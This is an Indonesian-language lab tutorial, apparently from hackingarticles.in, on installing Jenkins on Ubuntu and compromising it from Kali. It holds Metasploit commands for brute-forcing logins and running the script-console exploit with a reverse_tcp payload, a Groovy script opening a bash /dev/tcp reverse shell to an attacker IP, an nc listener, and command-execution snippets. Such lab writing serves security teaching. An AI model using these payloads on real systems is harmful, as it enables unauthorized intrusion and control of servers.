
Jenkins adalah server otomatisasi sumber terbuka yang digunakan untuk integrasi berkelanjutan (CI) dan pengiriman berkelanjutan (CD). Server ini dibangun di atas Java dan menggunakan platform skrip untuk otomatisasi. Jenkins mengotomatiskan tugas-tugas seperti membangun, menguji, dan menyebarkan dalam siklus hidup pengembangan perangkat lunak. Otomatisasi ini mempercepat siklus pengembangan, meningkatkan kualitas kode, dan merampingkan rilis. Fitur-fitur utamanya meliputi pipeline CI/CD, pengujian otomatis, integrasi dengan sistem kontrol versi, ekstensibilitas melalui plugin, dan kemampuan pemantauan dan pelaporan yang kuat.
Lab Setup
Pada artikel ini, kita akan menyiapkan server Jenkins pada mesin ubuntu dan mendapatkan eksekusi kode jarak jauh. Berikut ini adalah mesin-mesinnya:
Mesin Target: Ubuntu (192.168.1.4)
Mesin Penyerang: Kali Linux (192.168.1.7)
Installation
Agar Jenkins dapat berfungsi, dibutuhkan Java Runtime Environment (JRE). Dalam panduan ini, kita akan menggunakan OpenJDK untuk membangun lingkungan Java. Kit pengembangan OpenJDK menggabungkan JRE di dalam kerangka kerjanya.
apt install openjdk-11-jdk

Terkadang, repositori default Ubuntu mungkin tidak memiliki versi Jenkins terbaru. Oleh karena itu, disarankan untuk memilih repositori yang dikelola proyek untuk mengakses fitur dan patch terbaru. Untuk mengintegrasikan repositori Jenkins ke dalam sistem Ubuntu, ikuti langkah-langkah berikut ini:
Mulailah dengan mengimpor kunci GPG untuk memastikan integritas paket.
sudo curl -fsSL https://pkg.Jenkins.io/debian-stable/Jenkins.io-2023.key | sudo tee /usr/share/keyrings/Jenkins-keyring.asc > /dev/null

Setelah itu, gabungkan repositori Jenkins dan tambahkan kunci autentikasi ke daftar sumber menggunakan
perintah yang disediakan di bawah ini:
sudo echo deb [signed-by=/usr/share/keyrings/Jenkins-keyring.asc] https://pkg.Jenkins.io/debian-stable binary/ | sudo tee /etc/apt/sources.list.d/Jenkins.list > /dev/null
Sekarang kita dapat melanjutkan dengan instalasi Jenkins di mesin ubuntu.

Setelah instalasi selesai, Jenkins dapat dimulai dengan menggunakan perintah berikut:
systemctl start Jenkins
Status dapat diperiksa dengan menggunakan perintah berikut:
systemctl status Jenkins

Configuration
Setelah instalasi, Jenkins dapat dikonfigurasi agar berjalan dengan lancar. Dengan memeriksa layanan yang
berjalan pada port 8080, server Jenkins memerlukan kata sandi Administrator.

Kata sandi dapat diperoleh dengan membaca isi file initialAdminPassword.
cat /var/lib/Jenkins/secrets/initialAdminPassword

Pilih Instal plugin yang disarankan untuk Menyesuaikan Jenkins dan lanjutkan dengan penginstalan.

Langkah terakhir memerlukan pembuatan nama pengguna dan kata sandi Pengguna Admin Pertama. Di sini kami menggunakan nama
pengguna sebagai raj dan kata sandi sebagai 123.

Terakhir, memasukkan URL untuk mengakses Server Jenkins. URL dapat dimasukkan sebagai http://127.0.0.1:8080/ karena
kita ingin menyiapkan server pada mesin ubuntu.

Enumeration
Setelah berhasil menginstal dan mengkonfigurasi server Jenkins, kita dapat memulai eksploitasi menggunakan mesin kali. Dimulai dengan
pencacahan, karena pada port 8080 Jenkins Server berjalan di mesin ubuntu maka periksa port 8080. Pada port 8080 terdapat halaman login Jenkins yang membutuhkan kredensial.

Exploitation using Metasploit Framework:
Karena halaman login membutuhkan kredensial, maka kita dapat menggunakan alat bantu yang tersedia dalam kerangka kerja Metasploit untuk
memeriksa nama pengguna dan kata sandi yang valid untuk login. Auxiliary yang akan kita gunakan akan membutuhkan file nama pengguna dan file kata sandi.
Dapat dicatat bahwa untuk skenario CTF, file nama pengguna dapat digunakan sebagai daftar nama pengguna umum (https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt) dan file kata sandi dapat digunakan sebagai rockyou.txt.
Namun, di sini kita menggunakan kamus khusus untuk mempermudah pemindaian. Perintah-perintah berikut ini dapat digunakan di dalam kerangka kerja Metasploit:
use auxiliary/scanner/http/Jenkins_login
set rhosts 192.168.1.4
set rport 8080
set targeturi /
set user_file users.txt
set pass_file passwords.txt
set verbose false
exploit

Amati bahwa nama pengguna dan kata sandi telah berhasil dicacah. Setelah nama pengguna dan kata sandi berhasil didapatkan, sekarang saatnya menggunakannya untuk mengeksploitasi target. Eksploitasi yang dapat digunakan di sini adalah exploit/multi/http/Jenkins_script_console. Perintah berikut ini dapat digunakan di dalam framework Metasploit untuk menjalankan eksploitasi:
use exploit/multi/http/Jenkins_script_console
show targets
set target 1
set payload linux/x64/meterpreter/reverse_tcp
set rhosts 192.168.1.4
set rport 8080
set targeturi /
set username raj
set password 123
exploit

Amati bahwa reverse shell telah diperoleh setelah eksploitasi berhasil dijalankan.
Exploiting Manually (Reverse Shell)
Untuk mengeksploitasi secara manual, kita membutuhkan nama pengguna dan kata sandi Konsol Jenkins. Dengan asumsi di sini bahwa penyerang telah menemukan kredensial baik dengan cara brute forcing atau melalui metode lain, login yang berhasil ke dalam konsol dapat dilakukan.
Setelah login menggunakan kredensial yang ditemukan sebelumnya (raj:123) dari alat bantu. Fungsionalitas Manage Jenkins dapat diakses yang berisi fungsionalitas Script Console.

Di Jenkins, Groovy berfungsi sebagai bahasa skrip utama untuk mendefinisikan pekerjaan dan pipeline. Groovy, yang dinamis dan beroperasi pada Java Virtual Machine (JVM), terintegrasi secara mulus dengan Jenkins, yang sebagian besar berbasis Java. Oleh karena itu, kita akan menggunakan skrip groovy reverse shell untuk mendapatkan reverse shell. Perintah untuk groovy reverse shell dapat diperoleh dari URL berikut: https://www.revshells.com dan memilih muatan skrip Groovy.

Sekarang, dengan menggunakan skrip shell terbalik yang asyik di atas di konsol skrip Jenkins. Sebelum menjalankan skrip, pastikan untuk memulai pendengar netcat pada port 443 di dalam mesin kali menggunakan perintah berikut:
rlwrap nc -lnvp 443

Akhirnya, shell terbalik diperoleh pada port 443 setelah menjalankan skrip asyik di atas.

Cara alternatif untuk mendapatkan shell terbalik adalah dengan menjalankan skrip berikut ini di konsol skrip:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/192.168.1.7/443; cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Pastikan untuk memulai pendengar pada port 443 sebelum menjalankan skrip.

Amati bahwa shell terbalik diperoleh pada port 443 setelah eksekusi skrip.

Executing Shell Commands Directly
Ada beberapa kasus di mana kita tidak memiliki listener untuk melakukan reverse shell. Dalam kasus tersebut, kita dapat langsung menjalankan skrip dan mendapatkan output kode di jendela Result.
Kode berikut ini digunakan untuk mendapatkan output dari perintah sistem:
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
Amati bahwa setelah menjalankan skrip, hasilnya dapat dilihat langsung di jendela Result.

Kode serupa yang dapat digunakan untuk mendapatkan keluaran perintah di jendela Hasil dapat berupa:
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
Amati bahwa setelah menjalankan skrip, hasilnya dapat dilihat langsung di jendela Result.

Conclusion
Singkatnya, kemungkinan menggunakan server Jenkins untuk mendapatkan shell terbalik menekankan kebutuhan penting akan praktik keamanan yang kuat. Entah karena login yang disusupi atau tanpa autentikasi sama sekali, kerentanan server Jenkins menunjukkan mengapa kita harus menganggap serius keamanan. Sangat penting bagi organisasi untuk menerapkan aturan akses yang ketat, melakukan pemeriksaan keamanan secara teratur, dan segera memperbarui sistem untuk mengurangi kemungkinan akses yang tidak sah dan penyalahgunaan.
Souce by : https://www.hackingarticles.in/Jenkins-penetration-testing/